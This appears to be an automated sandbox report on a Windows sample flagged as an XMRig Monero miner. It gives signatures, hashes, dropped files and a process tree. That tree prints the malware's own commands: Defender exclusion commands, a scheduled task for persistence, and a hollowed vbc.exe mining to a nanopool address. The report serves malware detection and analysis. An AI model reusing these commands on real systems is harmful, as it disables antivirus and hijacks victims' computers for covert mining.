Analysis
- max time kernel
81s - max time network
153s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
14/12/2022, 12:31
General
- Target file.exe
- Size 622KB
- Sample221214-pp2emscg7t
- SHA256 9cd84cf345a355c7fafb27dceeb9d6a8dc910f4812578edd396dd2fad42b5e1b
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 4 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp2176.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\common\JTPFKOXW.exe"C:\ProgramData\common\JTPFKOXW.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\timeout.exetimeout 31⤵
- Delays execution with timeout.exe
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
JTPFKOXW.exe
JTPFKOXW.exe
tmp2176.tmp.bat
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
JTPFKOXW.exe
memory/1096-117-0x000007FEF2AD0000-0x000007FEF362D000-memory.dmp
memory/1096-77-0x000007FEED2D0000-0x000007FEEDCF3000-memory.dmp
memory/1096-119-0x0000000002564000-0x0000000002567000-memory.dmp
memory/1096-127-0x000000000256B000-0x000000000258A000-memory.dmp
memory/1096-126-0x0000000002564000-0x0000000002567000-memory.dmp
memory/1348-121-0x000007FEF2AD0000-0x000007FEF362D000-memory.dmp
memory/1348-130-0x000000000286B000-0x000000000288A000-memory.dmp
memory/1348-129-0x0000000002864000-0x0000000002867000-memory.dmp
memory/1348-124-0x000000001B700000-0x000000001B9FF000-memory.dmp
memory/1348-73-0x000007FEFC311000-0x000007FEFC313000-memory.dmp
memory/1348-78-0x000007FEED2D0000-0x000007FEEDCF3000-memory.dmp
memory/1348-122-0x0000000002864000-0x0000000002867000-memory.dmp
memory/1432-96-0x000007FEF6E40000-0x000007FEF6F37000-memory.dmp
memory/1432-134-0x000007FEFD0D0000-0x000007FEFD0E7000-memory.dmp
memory/1432-135-0x000007FEF17E0000-0x000007FEF17FC000-memory.dmp
memory/1432-136-0x000007FEF1800000-0x000007FEF1862000-memory.dmp
memory/1432-137-0x000007FEFECA0000-0x000007FEFECED000-memory.dmp
memory/1432-123-0x00000000009E0000-0x0000000000AE0000-memory.dmp
memory/1432-138-0x000007FEFAB00000-0x000007FEFAB64000-memory.dmp
memory/1432-139-0x000007FEFAB70000-0x000007FEFABE1000-memory.dmp
memory/1432-88-0x000007FEFB7D0000-0x000007FEFB83F000-memory.dmp
memory/1432-89-0x000007FEFB5F0000-0x000007FEFB68C000-memory.dmp
memory/1432-90-0x000007FEFE600000-0x000007FEFE667000-memory.dmp
memory/1432-91-0x0000000077990000-0x0000000077A8A000-memory.dmp
memory/1432-92-0x000007FEFE310000-0x000007FEFE3AF000-memory.dmp
memory/1432-93-0x0000000077870000-0x000000007798F000-memory.dmp
memory/1432-94-0x000007FEFDBC0000-0x000007FEFDC2C000-memory.dmp
memory/1432-95-0x000007FEFE270000-0x000007FEFE2E1000-memory.dmp
memory/1432-133-0x000007FEFD220000-0x000007FEFD242000-memory.dmp
memory/1432-97-0x000007FEFFB90000-0x000007FEFFC6B000-memory.dmp
memory/1432-98-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp
memory/1432-99-0x000007FEFFC70000-0x000007FEFFD9D000-memory.dmp
memory/1432-101-0x00000000009E0000-0x0000000000AE0000-memory.dmp
memory/1432-100-0x000007FEFDF80000-0x000007FEFE183000-memory.dmp
memory/1432-103-0x000007FEF70C0000-0x000007FEF71EC000-memory.dmp
memory/1432-104-0x00000000000E0000-0x0000000000122000-memory.dmp
memory/1432-102-0x00000000009E0000-0x0000000000AE0000-memory.dmp
memory/1432-140-0x000007FEFD6A0000-0x000007FEFD6C5000-memory.dmp
memory/1432-120-0x000007FEFE2F0000-0x000007FEFE30F000-memory.dmp
memory/1432-141-0x000007FEFB180000-0x000007FEFB1A7000-memory.dmp
memory/1432-142-0x000007FEFDC30000-0x000007FEFDC66000-memory.dmp
memory/1432-143-0x000007FEFCEF0000-0x000007FEFCF4B000-memory.dmp
memory/1432-114-0x000007FEFBE30000-0x000007FEFC045000-memory.dmp
memory/1432-115-0x000007FEFE190000-0x000007FEFE267000-memory.dmp
memory/1476-64-0x000007FEFFB90000-0x000007FEFFC6B000-memory.dmp
memory/1476-60-0x0000000077870000-0x000000007798F000-memory.dmp
memory/1476-66-0x000007FEFFC70000-0x000007FEFFD9D000-memory.dmp
memory/1476-55-0x000007FEFB7D0000-0x000007FEFB83F000-memory.dmp
memory/1476-56-0x000007FEFB5F0000-0x000007FEFB68C000-memory.dmp
memory/1476-57-0x000007FEFE600000-0x000007FEFE667000-memory.dmp
memory/1476-59-0x000007FEFE310000-0x000007FEFE3AF000-memory.dmp
memory/1476-81-0x0000000000B50000-0x0000000000C50000-memory.dmp
memory/1476-61-0x000007FEFDBC0000-0x000007FEFDC2C000-memory.dmp
memory/1476-67-0x000007FEFDF80000-0x000007FEFE183000-memory.dmp
memory/1476-65-0x000007FEF61F0000-0x000007FEF6BDC000-memory.dmp
memory/1476-76-0x000007FEFE2F0000-0x000007FEFE30F000-memory.dmp
memory/1476-62-0x000007FEFE270000-0x000007FEFE2E1000-memory.dmp
memory/1476-58-0x0000000077990000-0x0000000077A8A000-memory.dmp
memory/1476-70-0x0000000002150000-0x0000000002192000-memory.dmp
memory/1476-69-0x000007FEF6E10000-0x000007FEF6F3C000-memory.dmp
memory/1476-68-0x0000000000B50000-0x0000000000C50000-memory.dmp
memory/1476-63-0x000007FEF70F0000-0x000007FEF71E7000-memory.dmp
memory/1668-145-0x000007FEEB950000-0x000007FEEC373000-memory.dmp
memory/1668-148-0x00000000027CB000-0x00000000027EA000-memory.dmp
memory/1668-146-0x000007FEEADF0000-0x000007FEEB94D000-memory.dmp
memory/1668-147-0x00000000027C4000-0x00000000027C7000-memory.dmp
memory/1776-174-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1776-154-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-152-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-150-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-173-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-149-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-175-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1776-176-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1800-84-0x0000000001E20000-0x0000000001F20000-memory.dmp
memory/1988-118-0x0000000002494000-0x0000000002497000-memory.dmp
memory/1988-116-0x000007FEF2AD0000-0x000007FEF362D000-memory.dmp
memory/1988-113-0x000007FEED2D0000-0x000007FEEDCF3000-memory.dmp
memory/1988-128-0x0000000002494000-0x0000000002497000-memory.dmp
memory/1988-125-0x000000001B7F0000-0x000000001BAEF000-memory.dmp
memory/1988-131-0x0000000002494000-0x0000000002497000-memory.dmp
memory/1988-132-0x000000000249B000-0x00000000024BA000-memory.dmp